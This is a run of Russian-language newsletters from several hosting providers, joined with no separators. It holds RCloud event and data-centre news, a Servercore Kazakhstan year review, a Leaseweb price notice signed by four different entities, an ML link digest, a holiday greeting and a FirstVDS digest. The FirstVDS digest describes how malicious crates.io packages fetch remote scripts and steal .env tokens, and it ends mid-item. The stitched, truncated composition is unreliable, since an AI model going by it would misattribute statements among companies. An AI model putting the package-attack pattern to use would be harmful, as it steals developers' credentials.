portal.rcloud.ru/login

9 декабря 2025 Вебинар «ИИ для бизнеса: от данных до готовой модели в облаке»
9 декабря компания RCloud by 3data совместно с партнером HPC Park провела онлайн-вебинар «ИИ для бизнеса: от данных до готовой модели в облаке»
Современные проекты в сфере искусственного интеллекта требуют устойчивой инфраструктуры, высокой производительности и удобных инструментов управления. Именно этим вопросам был посвящён наш вебинар, который RCloud провёл совместно с партнёром HPC Park — компанией, специализирующейся на высокопроизводительных вычислениях.
Ведущий вебинара — Максим Дудкин, основатель HPC Park — поделился практическими подходами к организации ИИ-инфраструктуры и показал, как облачные GPU помогают быстрее запускать ML-проекты и масштабировать их по мере роста нагрузки.
Какие вопросы разобрали на вебинаре:
Полный цикл разработки ИИ-решений
Участники увидели, как строится процесс — от подготовки и очистки данных до обучения моделей и вывода в промышленную эксплуатацию. Особое внимание было уделено типичным узким местам и тому, как инфраструктура влияет на скорость разработки.
Контейнеризация в ML
Поговорили о том, почему контейнеризация стала стандартом индустрии: от ускорения экспериментов до повышения повторяемости и удобства развёртывания. Были рассмотрены практические сценарии, в которых контейнерный подход значительно упрощает работу команд.
Технология NVIDIA MIG
На примерах показали, как разбиение GPU на независимые экземпляры помогает оптимизировать загрузку ресурсов и повысить эффективность вычислений — особенно в проектах с разнородными задачами.
Роль API в управлении ML-платформами
Обсудили, как API-интерфейсы позволяют автоматизировать инфраструктурные операции, управлять вычислительными ресурсами и интегрировать модели в существующие процессы компании.
Спикеры подробно показали, как встроить ИИ-инструменты в действующие бизнес-процессы, минимизировать инфраструктурные ограничения и ускорить путь от идеи до рабочей модели.

26 ноября 2025 RCloud ввела в эксплуатацию новую облачную локацию в Ташкенте
RCloud ввел в эксплуатацию новую облачную локацию в городе Ташкент. Мы расширяем географию присутствия и создаём точку размещения, рассчитанную на проекты, которым необходимы низкая задержка в Центральной Азии, устойчивая производительность и предсказуемое качество сервиса.
Архитектура и принципы построения
При создании новой зоны размещения мы сохранили ключевые технические принципы, которые лежат в основе инфраструктуры RCloud:
выделенные ресурсы без переподписки (режим 1:1),высокопроизводительное NVMe-хранилище,устойчивую сетевую архитектуру, оптимизированную под стабильную работу под нагрузкой.Локация развёрнута на базе инфраструктуры MaCloud, а мы интегрировали её в экосистему сервисов RCloud. Благодаря этому в локации “MaCloud UZ” действует единый подход к надёжности, безопасности и контролю ресурсов, который применяем во всех наших инфраструктурных кластерах.
Когда выбирают Ташкент
Мы ориентировали эту локацию на проекты, которым критично:
минимизировать задержки для пользователей Центральной Азии,размещать инфраструктуру ближе к аудитории Узбекистана,разворачивать распределённые системы с независимыми региональными зонами,получать стабильную производительность без переподписки.Новая локация уже доступна в нашем калькуляторе: теперь можно рассчитать стоимость конфигураций на VMware-платформе в Ташкенте.

24 ноября 2025 RCloud by 3data провёл предновогодний кулинарный вечер для партнеров и руководителей ИТ-компаний
Предвкушая загруженный декабрь, в прошедший четверг RCloud от 3data собрал партнеров и заказчиков, чтобы провести вечер в теплой, неформальной обстановке — для приготовления изысканного предновогоднего ужина, общения и подведения итогов года.
Гости мероприятия вместе приготови пасту, стейк и домашнее мороженое под руководством опытного шеф-повара Леониды Жарковой. Во время мастер-класса участники делились впечатлениями о ярких событиях уходящего года, фиксировали взгляды на ключевые изменения в отрасли и обсуждали последние новости из мировых технологий.
Отдельной частью программы стала презентация итогов года.
Валентин Соколов, ИТ-директор RCloud от 3data, подвёл итоги уходящего года и в открытом диалоге вместе с участниками обсудил ИТ-тренды, которые обеспечили повестку последних лет, а также их реальное влияние на бизнес-процессы и стратегические решения компаний.
Предновогодний вечер стал не только гастрономическим мероприятием, но и эффективной площадкой для профессионального общения, развития партнерских связей и формирования новых идей и планов на предстоящий год.

17 ноября 2025 Новый кластер RCloud на базе AMD EPYC 4.0+ ГГц
Компания RCloud ввела в эксплуатацию новый кластер для высоконагруженных систем. Он размещён в собственном дата-центре П29 в Москва и предназначен для задач, требующих стабильной вычислительной мощности с минимальными задержками.
В основе инфраструктуры — процессоры AMD EPYC 9274F с 48 ядрами и базовой частотой 4,05 ГГц. Архитектура кластера оптимизирована для высокопроизводительных приложений: аналитических систем, сервисов реального времени, телекоммуникационных платформ и других решений, где критичны предсказуемость отклика и непрерывная доступность.
Серверы работают в режиме 1:1 (без переподписки), что гарантирует пользователям полное выделение ресурсов CPU и памяти. Такая конфигурация обеспечивает стабильную производительность вне зависимости от общей нагрузки в облаке.
Хранилище данных построено на NVMe SSD, что позволяет поддерживать высокую скорость обмена и минимальные задержки ввода-вывода.
Новый кластер соответствует стандартам безопасности и надежности, действующим во всех инфраструктурных зонах RCloud:
152-ФЗ (приказы 17 и 21)PCI DSSISO 27001Кластер на базе AMD EPYC 9274F стал первым решением RCloud с частотой 4,0+ ГГц и открыл новое направление для проектов, где важны высокая производительность и гарантированное качество сервиса.
Виртуальные серверы уже доступны в калькуляторе RCloud в локации RCloud RU.MSC.
По всем вопросам обращайтесь к менеджерам RCloud.

14 ноября 2025 RCloud получил аттестат соответствия требованиям ФСТЭК №17, класс защищенности К1
RCloud подтвердил соответствие требованиям Приказа ФСТЭК России №17 и получил Аттестат соответствия по классу защищенности К1.
Это высший уровень защиты информации, предусмотренный для государственных и критически важных информационных систем.
Приказ ФСТЭК №17 определяет требования к защите информации, не составляющей государственную тайну, но обрабатываемой в государственных информационных системах (ГИС). Такие системы относятся к объектам критической информационной инфраструктуры (КИИ), где особое внимание уделяется контролю доступа, защите от несанкционированного вмешательства и сохранности данных.
Аттестат класса К1 подтверждает, что инфраструктура RCloud соответствует установленным стандартам проектирования, администрирования и эксплуатации защищённых ИТ-систем.
В рамках аттестации проверялись:
архитектура облачной инфраструктуры и уровень изоляции данных;средства защиты и контроля доступа;процедуры администрирования, резервирования и мониторинга безопасности.Получение аттестата ФСТЭК №17 — очередной шаг в развитии платформы RCloud как инфраструктуры, готовой к размещению информационных систем государственных организаций, компаний из сегмента КИИ и заказчиков с повышенными требованиями к безопасности данных.
RCloud последовательно развивает направления, связанные с соответствием отраслевым стандартам — PCI DSS, 152-ФЗ, ISO 27001 — обеспечивая клиентам выбор облачных решений под конкретные задачи и нормативные требования.
По вопросам размещения систем в сертифицированной инфраструктуре обращайтесь к менеджерам RCloud.

29 октября 2025 Вебинар RCloud «7 вопросов эксперту по облакам»
28 октября компания RCloud by 3data провела онлайн-вебинар «7 вопросов эксперту по облакам»
Формат встречи позволил участникам напрямую задать вопросы эксперту RCloud и получить развернутые ответы о том, как облачные технологии помогают бизнесу расти, оптимизировать ресурсы и обеспечивать безопасность данных. Спикером выступил Сергей Гордеев, руководитель направления облачных решений RCloud, за плечами которого — более 15 лет опыта в сфере работы с ИТ-инфраструктурой и виртуализацией.
В рамках вебинара обсудили актуальные темы, с которыми сталкиваются компании при переходе в облако:
В каких отраслях облачная инфраструктура используется чаще всего;Как выбрать оптимальную модель облачной инфраструктуры;Какие изменения в законодательстве повлияют на рынок облаков к 2026 году;Как эффективно управлять облачными услугами;Как готовые облачные решения ускоряют развитие искусственного интеллекта.Как обеспечить безопасность инфраструктуры и соответствие требованиям ИБ;Можно ли комбинировать облачные и физические ресурсы;Какую роль играют облака в развитии искусственного интеллекта.Переход в облако сегодня — не просто технологический шаг, а стратегическое решение для бизнеса. Грамотное использование облачных платформ помогает компаниям быстрее адаптироваться к изменениям, снижать расходы на инфраструктуру и повышать устойчивость ИТ инфраструктур.
Формат «вопрос-ответ» позволил участникам получить не только теоретические, но и практические рекомендации, основанные на опыте внедрения решений RCloud в реальных проектах.
Если вы не смогли присоединиться к трансляции — рекомендуем посмотреть запись вебинара. Это отличный способ за 45 минут получить концентрированные ответы эксперта на ключевые вопросы и понять, как облачные решения могут быть полезны именно вашей компании.

25 октября 2025 Команда RCloud by 3data помогает снижать углеродный след дата-центров
25 октября команда RCloud by 3data присоединилась к экологической инициативе компании 3data, направленной на компенсацию углеродного следа дата-центра М8.
Вместе с коллегами мы провели день в национальном парке «Мещерский» в Рязанской области, где своими руками высадили пять тысяч молодых сосен — будущих хранителей чистого воздуха и символов осознанного отношения технологической индустрии к природе.
Эта территория парка в прошлом серьёзно пострадала от лесных пожаров, и теперь каждая посаженная сосна станет частью восстановления хрупкой экосистемы.
По предварительным расчётам, в процессе роста деревья смогут компенсировать около 530 000 килограммов CO₂, что сопоставимо с несколькими годами работы дата-центра средней мощности — наглядное доказательство того, что технологичные отрасли могут вносить реальный вклад в экологическое будущее планеты.

22 октября 2025 RCloud by 3data запустила облачный кластер в Челябинске в партнерстве с компанией «Интерсвязь»
В октябре 2025 года RCloud by 3data запустила новый облачный кластер на базе коммерческого дата-центра партнера «Интерсвязь» в Челябинске. Благодаря этому стратегическому шагу облачные сервисы IaaS и Disaster Recovery стали доступны компаниям Уральского региона.
Построение Челябинского кластера стало важным элементом в развитии географически распределённой облачной инфраструктуры RCloud. Партнёрство с «Интерсвязь» — одним из ключевых игроков телекоммуникационного и дата-центрового рынка Южного Урала — усилило позиции RCloud в одном из крупнейших промышленных регионов России и позволил расширить доступ бизнеса к современным облачным решениям. На площадке используется распределённая система хранения данных (SDS virtual SAN), которая заменяет традиционные СХД. Это решение позволяет управлять хранилищами на базе стандартных серверов без использования специализированного оборудования. SDS обеспечивает создание общего ресурсного пула хранения, виртуализируя физические устройства и предоставляя серверам гибкие виртуальные диски. Такая архитектура даёт высокую степень масштабируемости, устойчивости и эффективности.

22 сентября 2025 RCloud на BISS Summit 2025
RCloud на BISS Summit 2025: ключевые акценты дискуссии о будущем информационной безопасности
Вчера состоялся BISS Summit 2025 — одно из ведущих событий в сфере ИТ и информационной безопасности. Конференция собрала экспертов, разработчиков и руководителей, чтобы обсудить стратегические направления развития технологий защиты данных.
Особое внимание привлекла дискуссия «Место облачных технологий в ИБ», в которой принял участие Валентин Соколов, ИТ-директор сети дата-центров 3data и облачной платформы RCloud.
Основные выводы обсуждения
Малый и средний бизнес получает за счет облаков быстрый старт, снижение расходов и доступ к компетенциям, которые сложно поддерживать собственными силами.Крупные компании используют облака для гибкого масштабирования и пересмотра подходов к информационной безопасности без перестройки внутренних процессов.Зоны ответственности требуют прозрачного распределения ролей между заказчиком и провайдером, включая страхование рисков и четкие SLA.Будущее облаков — от осторожности к стратегической интеграции: облачные сервисы перестают быть «экспериментом» и становятся ключевым элементом инфраструктуры.
22 сентября 2025 RCloud и 3data на «Карте российского рынка ИТ 2025» TAdviser
Аналитический центр TAdviser опубликовал обновлённую «Карту российского рынка информационных технологий 2025» — детальный обзор ключевых игроков ИТ-отрасли. Для нас это важный ориентир: платформа RCloud by 3data и сеть дата-центров 3data представлены на карте как значимые участники облачного и инфраструктурного сегментов.
Позиция 3data и платформы RCloud by 3data
Сеть дата-центров 3data отмечена в разделе инфраструктурных услуг как надёжный провайдер colocation и облачных сервисов. Наша географически распределённая сеть ЦОДов и собственная инженерная инфраструктура позволяют обеспечивать высокий уровень доступности и отказоустойчивости для клиентов по всей России.Отдельно выделена облачная платформа RCloud by 3data. На карте она представлена в сегменте облачных и IaaS-решений как экосистема для корпоративных клиентов, обеспечивающая гибкое масштабирование и соответствие требованиям безопасности, включая стандарты ФЗ-152, PCI DSS и ISO 27001. Наличие собственного ЦОД-фундамента и развитого портала управления позволяет нам предоставлять ресурсы под проекты любой сложности в сжатые сроки.
Ключевые выводы из обзора TAdviser
Российский ИТ-рынок 2024 года вырос на ≈ 25 % и достиг объёма ~ 3,5 трлн рублей.Объем рынка ИТ-услуг увеличился примерно на 18,6 %, достигнув ~ 638 млрд рублей.Среди вендоров сохраняются три ключевых технологических вектора: информационная безопасность, инновации / искусственный интеллект, а также усиление интеграции различных ИТ-решений в единые экосистемы.Доля отечественных производителей ПО уже превышает 50 % на российском ИТ-рынке, что говорит о смещении баланса в сторону локальных решений.
12 сентября 2025 Вебинар RCloud, ServicePipe и Logical IT: практики информационной безопасности
10 сентября прошёл совместный вебинар RCloud, ServicePipe и Logical IT, посвящённый современным подходам к защите данных и построению надежной облачной инфраструктуры
Мероприятие объединило специалистов по ИТ и ИБ, руководителей ИТ-подразделений и представителей бизнеса, заинтересованных в надёжных цифровых решениях.
В программе вебинара:
интеграция информационной безопасности на этапе проектирования ИТ-инфраструктуры;соответствие требованиям ФЗ-152, ФЗ-187 и международных стандартов;практические кейсы по защите облачных сервисов и масштабированию инфраструктуры.Спикеры трёх компаний представили разные ракурсы одной задачи — как выстроить комплексную защиту инфраструктуры в 2025 году и при этом сохранить гибкость. Живой интерес участников подтвердили многочисленные вопросы в чате: от конкретных сценариев миграции до методов реагирования на инциденты.

11 сентября 2025 Рассказали о сервисах RCloud by 3data на WebSec BBQ
В сентябре текущего года в Подмосковье прошел традиционный отраслевой форум Ngenix WebSec BBQ, ориентированный на специалистов сферы информационной безопасности веб-приложений. Организатором мероприятия выступила компания Ngenix. Среди партнеров события была представлена облачная платформа RCloud by 3data, обеспечившая комфорт гостям благодаря специально организованным информационному стенду и бару облачных напитков.
Мероприятие включало технически насыщенную программу выступлений («tech-talks»), посвященных вопросам обеспечения веб-безопасности, проводившихся в интерактивной форме. Участники имели возможность обменяться мнениями, принять участие в дискуссиях и получить консультации от представителей компаний-партнеров.

16 августа 2025 RCloud by 3data – партнер масштабного фестиваля для ИТ-специалистов «ИТ-пикник-2025»
16 августа в московском музее-заповеднике «Коломенское» прошел крупнейший летний фестиваль для ИТ-специалистов и их семей — «ИТ Пикник», который собрал более 30 000 гостей. В числе партнеров мероприятия выступила сеть дата-центров 3data совместно с облачной платформой RCloud by 3data, презентовав концептуальный стенд «Цифровой хаб настоящего и будущего».
Интерактивная зона 3data и RCloud by 3data демонстрировала, как надежная инфраструктура современных дата-центров и гибкость облачных сервисов образуют единую экосистему для бизнеса. Гости стенда смогли в интерактивном формате попробовать себя в роли ИТ-директора инновационной компании, которая готовится к масштабной цифровой трансформации. Участники проходили ИТ-квиз, принимали стратегические решения, получали фирменный мерч и «яблочные призы».
Фестиваль «ИТ-пикник», организаторами которого традиционно выступают Т-Банк, CodeFest и «Мельница», уже третий год подряд создает уникальную атмосферу для нетворкинга, обмена опытом и вдохновения новыми идеями. В этом году программа мероприятия включала лекции от ведущих ИТ-экспертов, интерактивные зоны от партнеров фестиваля, игровые площадки, увлекательные мастер-классы и яркий музыкальный концерт, хедлайнером которого стала легендарная рок-группа «КняZz».

2025 год был насыщенным для Servercore в Казахстане. Мы запустили новые продукты, поддержали десятки компаний грантами, провели первое масштабное исследование местного IT-рынка и помогли бизнесу с миграцией инфраструктуры.

Новые продукты
Облачное S3-хранилище в дата-центре Tier III в Алматы с тройной репликацией данных, двумя классами хранения и программой бесплатного тестирования в течение месяца. Облачные GPU-серверы на базе NVIDIA A5000 с 24 ГБ видеопамяти для AI/ML-задач с локальным размещением.
Servercore продолжает расширять продуктовый портфель, закрывая ключевые потребности бизнеса в развитии IT-инфраструктуры. В течение года компания анонсировала несколько продуктовых запусков.

В августе Servercore запустил облачное хранилище S3 в Казахстане, расширив покрытие регионов и зон доступа S3 сервиса, запущенного ранее в Узбекистане. Предназначенное для больших объемов данных хранилище S3 позволяет компаниям, вне зависимости от масштаба, решать вопросы безопасного хранения и работы с данными, оптимизируя расходы на инфраструктуру и при необходимости гибко увеличивая его объем. Провайдер предлагает два типа хранилища: стандартное, позволяющее получить быстрый доступ к часто используемым данным, и холодное — для редко используемых данных. Тройная репликация данных в дата-центре уровня Tier III в Алматы обеспечивает максимальную надежность и дает возможность хранить данные в соответствии с законодательством Республики Казахстан.

Для ускорения ИИ-разработок осенью провайдером были запущены облачные GPU-серверы на базе дата-центра в Казахстане, что дает возможность местным компаниям ускорить обучение моделей, обработку данных и выпуск ИИ-продуктов без капитальных затрат. При этом серверы, оснащенные видеокартами NVIDIA A5000 с 24 ГБ видеопамяти, обеспечивают высокую производительность и устойчивую работу даже при интенсивных нагрузках.

Расширение предложения облачных серверов и запуск передовых IT-сервисов в Казахстане позволяют Servercore усилить свои региональные позиции и дают возможность локальным компаниям внедрять ИИ-решения и высокопроизводительные технологии.

Поддержка бизнеса
Запустили программу для Fintech-компаний с 50% скидкой на все сервисы. Предоставили грант на 1 миллион тенге для компаний, переходящих с on-premise на облачные сервисы. Выделили гранты на облачные ресурсы на 1,8 миллиона тенге трем финалистам форума Terricon Connect.

Servercore реализует грантовые конкурсы и поддерживает внешние социальные проекты, помогая развитию малого и среднего бизнеса, а также способствуя созданию востребованных продуктов стартапами. Так, в феврале была запущена специальная программа для Fintech-компаний. Servercore предоставлял участникам акции 50% скидки на все сервисы: облачные и выделенные серверы, PaaS-решения — Managed Kubernetes и облачные базы данных.

Также казахстанским компаниям, ранее не пользовавшимся услугами Servercore, провайдер предоставлял грант на 1 миллион тенге с целью поддержки миграции on-premise IT-инфраструктуры на облачные сервисы. Эта программа способствовала покрытию финансовых издержек и снижению рисков, позволяя компаниям безболезненно переходить к локальному провайдеру и сосредоточиться на развитии бизнеса.

На прошедшем в октябре в Караганде форуме Terricon Connect компания Servercore предоставила трем финалистам гранты на облачные ресурсы на сумму 1,8 миллиона тенге. Сертификаты получили:
Discons — цифровая экосистема для промышленности с CRM, маркетплейсом и AI-инструментами.SmetaHub — AI-приложение для расчета и контроля ремонта квартир.AI Companion — платформа для психоэмоциональной диагностики сотрудников.Также стимулируя инновации и осуществляя поддержку IT-специалистов, компания Servercore обеспечивает содействие проведению профильных и отраслевых ивентов, таких как Profit Cloud Days, Go Eurasia, Digital Bridge, CIO Day, и развивает партнерство с Astana-Hub, mosthub.space и Women in Tech.
Исследование рынка
В 2025 году компания Servercore впервые в Казахстане провела масштабное исследование, проведя опрос среди представителей малого, среднего и крупного бизнеса. СЕО, IT-директора, аналитики и разработчики из MedTech, EdTech, ретейла, финансовых компаний и крупных промышленных предприятий ответили на ряд вопросов о развитии IT-инфраструктуры в их компаниях и планах на будущее с учетом мировых и локальных тенденций.

Приоритетами в развитии IT-инфраструктуры были названы повышение отказоустойчивости и надежности систем — 75,8% опрошенных, повышение уровня информационной безопасности — 63,3%, а также оптимизация затрат на IT-инфраструктуру в связи с планами по масштабированию — 55,3%.

Как показало исследование, геополитическая и экономическая ситуация имеет непосредственное влияние на развитие IТ-инфраструктуры казахстанских компаний, однако 97% из них планируют увеличивать объемы инвестиций в IT-инфраструктуру. Более 60% компаний намерены увеличить количество вычислительных ресурсов в ближайший год, и всего 3% задумываются об их сокращении.

Мероприятия
Провели три бизнес-ужина IT-беш в Алматы и Астане, где обсудили кибербезопасность, облачную инфраструктуру и баланс мощности и стоимости GPU для AI/ML-задач.
Эксперты из Servercore, PayLink и Allosta отметили, что казахстанский рынок AI-инфраструктуры уже созрел: компании активно тестируют технологии искусственного интеллекта, а продукты с market fit начинают применяться для решения реальных бизнес-задач.

IT-мероприятия бренда уже стали традицией. В марте в Алматы представители компании Servercore провели IT-беш — бизнес-ужин для руководителей компаний и IT-отделов, на котором рассказали, как предотвратить кибератаки, превратить CAPEX в OPEX и гибко масштабировать бизнес за счет использования облачных услуг.

В июне в Астане центральной темой мероприятия стало развитие облачной инфраструктуры. Юрий Капелько, операционный директор Servercore, подчеркнул, что сегодня клиенты выбирают поставщиков не только по цене. Решающим становится подход к работе с клиентом и готовность помочь ему справиться с задачами и решить конкретные проблемы. Как раз такой клиентоориентированной компанией и является Servercore, ежегодно реализуя более 100 специализированных проектов для клиентов из разных отраслей, помогая им решать нестандартные задачи и уверенно развивать бизнес за счет гибкой и надежной IT-инфраструктуры.

На финальном IT-беш, который компания Servercore провела 1 декабря в Алматы, эксперты и представители компаний обсудили вопросы выбора IT-инфраструктуры для AI/ML-задач и баланс мощности и стоимости GPU для AI/ML, размещенных в облаке. В дискуссии приняли участие эксперты из Servercore, PayLink и Allosta.

Участники отметили, что казахстанский рынок AI-инфраструктуры уже созрел: компании активно тестируют технологии искусственного интеллекта, а продукты с market fit начинают применяться для решения реальных бизнес-задач. При этом GPU все чаще применяются не только для обучения моделей, но и для ML-inference, включая аналитические задачи, антифрод, чат-боты и обработку больших объемов данных.

Реализованные проекты
Мигрировали платформу Provizor на облачные серверы за 24 часа, ускорив процесс закупки лекарств в полтора раза для 3000 аптек Казахстана.Обеспечили стабильную работу сервисов PayLink с уровнем аптайма более 99,98%, повысив их доступность на 9% и увеличив скорость отклика IT-систем в шесть раз.
Из года в год команда Servercore помогает местным компаниям в реализации крупных инфраструктурных проектов. Так, всего за 24 часа Servercore осуществил бесшовную миграцию цифровой платформы закупок лекарств Provizor на облачные серверы, ускорив процесс закупки лекарственных средств в полтора раза и обеспечив стабильную доступность для клиентской базы из более чем 3000 аптек Казахстана.

Также облачные серверы Servercore с уровнем аптайма более 99,98% обеспечили стабильную работу сервисов казахстанской FinTech-компании PayLink, повысив их доступность на 9% и увеличив скорость отклика IT-систем в шесть раз. Дополнительным преимуществом совместной работы стала оптимизация серверных ресурсов, позволившая снизить расходы на IT-инфраструктуру.

Мы хотели бы сообщить вам, что срок действия следующих услуг истекает 1 января 2026 года, и они действуют уже один или более лет. В связи с этим, в соответствии с нашими Условиями продажи и с учетом изменений на рынке, стоимость услуг по этим договорам увеличена на 3,90%. Эта пересмотренная стоимость будет отражена в счетах-фактурах, выставленных начиная с 1 января 2026 года.

Чтобы узнать больше о причинах и процессе расчета повышения платы за услуги, пожалуйста, ознакомьтесь с нашей статьей о счетах-фактурах в базе знаний. Если у вас есть другие услуги, договор на которые был заключен в другом месяце, мы сообщим вам об этом при пересмотре платы за них.

Вы можете ознакомиться с пересмотренной ценой в своем клиентском портале Leaseweb. Мы искренне ценим ваш выбор в качестве поставщика облачного хостинга и будем продолжать совершенствовать наши услуги и поддерживать вас в достижении ваших бизнес-целей в ближайшие годы.

Нужна помощь?
По любым вопросам, пожалуйста, свяжитесь с нами напрямую, создав заявку через клиентский портал Leaseweb. Мы всегда рады помочь.

Искренне,
Leaseweb USA, Inc.

Искренне,
Leaseweb Deutschland GmbH

Искренне,
Leaseweb Netherlands BV

Искренне,
Leaseweb Singapore Pte

Крушение великого ML-хайпа
MIT выпустили новую статью про снижение ожиданий от AI. Летом только ленивый не сослался на их слова о том, что 95% корпоративных проектов с GenAI не дают ощутимого эффекта на P&L. Похоже, новый материал наделает не меньше шума.
www.technologyreview.com/2025/12/15/1129174/the-great-ai-hype-correction-of-2025/

ИИ в разработке ПО: анализ результатов 400+ организаций
Отгремел AWS re: Invent 2025, и после него осталось много полезных видео. Одно хотим особо отметить — это исследование использования AI в разработке.
Спикер даже показывает некоторые методики оценки эффекта от внедрения. Если вы технический директор и уже продали идею код-ассистента, сможете выбрать подходящую методику, с помощью которой потом будете показывать руководству успешные результаты.
www.youtube.com/watch?v=83QP_GyPNUE

NVIDIA представили NCCL-инспектор
Встречаем очередное расширение программного стека — на этот раз для оценки производительности коннекта между GPU.
developer.nvidia.com/blog/enhancing-communication-observability-of-ai-workloads-with-nccl-inspector/

И еще одно обновление: автоматический мониторинг кластеров Kubernetes с NVSentinel
А вот этой новой фиче от NVIDIA лично мы очень рады. Все работает именно так, как в заголовке. Например, вы обучаете модель с использованием 64 GPU. Один из узлов начинает сообщать о повторяющихся ошибках. Традиционно это может остаться незамеченным до тех пор, пока задача не завершится с ошибкой через несколько часов.
NVSentinel мониторит состояния GPU и обнаруживает закономерности, анализатор классифицирует ноду как неисправную, блокирует и отключает ее, заменяя новой. Процесс продолжается с минимальными перебоями, что экономит время и предотвращает нерациональное использование вычислительных ресурсов.
developer.nvidia.com/blog/automate-kubernetes-ai-cluster-health-with-nvsentinel/

Новые выпуски подкаста Selectel «Сегодня на ретро»: про масштабирование пилотов и практическую пользу нейросетей
Опубликовали два свежих выпуска ML-сезона нашего подкаста. В первом гостьи из «Контура» и «Точка Банка» обсуждают принятые в их компаниях практики масштабирования пилотных проектов с ML. Второй посвящен реальным кейсам использования нейросетей в жизни и в бизнесе.
www.youtube.com/watch?v=X8hnFLCMW-s
www.youtube.com/watch?v=koyPzWS8kLo

Как измерить эффективность ИИ-агентов: метрики, методы и ROI
Нечасто в DataRobot Blog выходят такие объемные статьи. Можем предположить, что они тоже очень хотят объяснить рынку собственный подход к эффективному внедрению ИИ-агентов. Это можно понять: в последнее время появилось крайне много желающих добавить в свою информационную систему агентов, а опыта нет.
www.datarobot.com/blog/how-to-measure-agent-performance/

Никаких больше GPU Cold Starts: Serverless ML Inference теперь в реальном времени
CNCF недавно выпустили отличный ролик про техническую базу GPU-serverless — очень доходчиво и с примером в конце. Рекомендуем к просмотру.
www.youtube.com/watch?v=7b-mAtJLb4s

Команда МИРАН поздравляет вас с наступающим Новым 2026 годом!

Пусть этот год принесёт уверенность в завтрашнем дне, стабильность в работе и новые возможности для роста. Желаем, чтобы все важные задачи решались легко, а технологии надёжно поддерживали ваши цели и идеи.

Спасибо за доверие и сотрудничество. Мы искренне ценим возможность быть частью ваших проектов и деловых успехов.

Желаем вам и вашей команде здоровья, благополучия, вдохновения и отличных результатов в новом году!

В период праздников наша служба поддержки будет работать в обычном режиме, круглосуточно, без выходных

С уважением, команда Миран

Неделя до Нового года — время грандиозных планов: пет-проект, блог, спортзал. Кажется, вот шанс стать новой, продуктивной версией себя!

Но эти планы часто остаются лишь списком — ведь они рождаются на излёте сил, когда организм просит отдыха, а не новых свершений. Поэтому единственный рывок, который всем нам жизненно необходим прямо сейчас, — к дивану, на марафон по «Гарри Поттеру» с мандаринами и оливье.



А пока время длинных праздников не пришло, предлагаем сделать передышку в череде рабочих задач и прочитать наш декабрьский дайджест. В нём — познавательные материалы, интересные факты и подарок от Деда Мороза.

Дайджест новогодний, поэтому в конце вас ждёт немного итогов: предлагаем вместе вспомнить самые важные события уходящего года.

Статьи и инструкции
Запуск и настройка Django-проекта на Ubuntu
Django — высокоуровневый веб-фреймворк для создания сайтов. Для стабильной работы рабочего проекта необходим надёжный стек, например, связка MariaDB, Gunicorn и Nginx. Эта инструкция шаг за шагом поможет развернуть и настроить такую среду на Ubuntu — от установки базы данных до запуска приложения.
firstvds.ru/technology/zapusk-i-nastroyka-django-na-ubuntu
PostgreSQL-триггеры: создание, изменение и удаление с примерами
PostgreSQL-триггеры — это хранимые процедуры, которые выполняются до, после или вместо определенной операции. Делимся опытом, как использовать этот механизм при проектировании БД.
firstvds.ru/technology/postgresql-triggery-sozdanie-izmenenie-i-udalenie-s-primerami

Habr: самое интересное за декабрь
Праздничный сюрприз, который точно никому не нужен, — это взлом системы. На Хабре рассказываем о неочевидных рисках: уязвимостях в WordPress, атаках на Active Directory и скрытых угрозах IPv6.
Если захочется творчества, налейте чашку какао, возьмите имбирное печенье и откройте руководство по OpenAPI — будем учиться создавать чёткую документацию для API. А для лёгкого чтения припасли любопытное исследование, которое ответит, пожалуй, на один из самых важных вопросов 2025 года: правда ли, что ИИ-модели уже приблизились к уровню человека и могут легко выполнять его рабочие задачи?
Уязвимости в WordPress и как их обнаружить: практическое руководство по WPScanРоль IPv6 в атаках на Active DirectoryOpenAPI на практике: пошаговое руководство9 ИИ-агентов и 150 рабочих задач в виртуальной техподдержке: почему ни одна модель пока не сравнится с человеком
Ищем авторов для блога на Хабр
Подготовьте статью на одну из специальных тем или отправьте материал на тему месяца. И если ваша статья подойдёт для блога, вы получите повышенный гонорар.
Тема января: софт.
firstvds.ru/avtoram

Новости декабря
Дед Мороз кешбэк принес

Чтобы сделать предпраздничные дни приятнее, подготовили специальное предложение: с 17 по 29 декабря начисляем кешбэк 10% при пополнении баланса на рекомендуемую сумму и выше. Узнать её можно в форме пополнения на сайте или в Личном кабинете.
firstvds.ru/actions/ded-moroz-keshbek

Переехали в новый ЦОД в Нидерландах

Открыли новую площадку в Амстердаме — ЦОД Qupra DC2. Это дата-центр с 30-летней историей, построенный по стандартам отказоустойчивости и безопасности. Подробнее о новом дата-центре рассказывали здесь.
Все серверы из euNetworks уже бесшовно перенесены в новый дата-центр. Стоимость аренды не изменилась, все услуги работают в штатном режиме.
firstvds.ru/products/vps_vds_netherlands

Новости из мира технологий и безопасности
Декабрь выдался довольно спокойным месяцем с точки зрения кибербезопасности. Но всё-таки не обошлось без пары серьёзных уязвимостей:
В первой половине декабря в трёх ключевых экосистемах — npm, crates io и React — были выявлены критические инциденты. Что произошло и как защититься от атак — в подборке.Наша техподдержка обнаружила участившиеся случаи несанкционированных регистраций через демо-компоненты 1С-Битрикс, что может создать избыточную нагрузку на сайт. Какие меры предпринять, рассказываем в нашем материале.
В репозитории crates.io обнаружены сразу четыре вредоносных пакета
В репозитории crates.io были обнаружены вредоносные пакеты Rust: evm-units и uniswap-utils (нацелены на кражу криптовалюты), а также sha-rust и finch-rust (собирали конфиденциальные данные). Они маскировались под легитимные инструменты и успели набрать тысячи загрузок.
Как работает атака:
При вызове функции get_evm_version() пакет evm-units/uniswap-utils обращается к внешнему серверу и загружает скрипт (init в Linux/macOS или init.ps1 в Windows) для выполнения вредоносных действий.
Пакет finch-rust добавляет вызов sha_rust::from_str(), которая отправляет на удалённый сервер данные системы, переменные окружения и файлы с токенами (например, .env, config.toml). Пакет finch-rust также является тайпсквоттинг-атакой, имитируя легитимный пакет finch.
Как защититься:
Тщательно проверяйте названия пакетов и их зависимости перед установкой.
Обращайте внимание на подозрительные функции, которые могут обращаться к внешним ресурсам.
Регулярно обновляйте зависимости и используйте инструменты для сканирования пакетов на наличие уязвимостей.
Для защиты от тайпсквоттинга используйте точные названия пакетов при добавлении в проект.
www.opennet.ru/opennews/art.shtml?num=64394

Критическая брешь в React, которая позволяет выполнять произвольный код на сервере
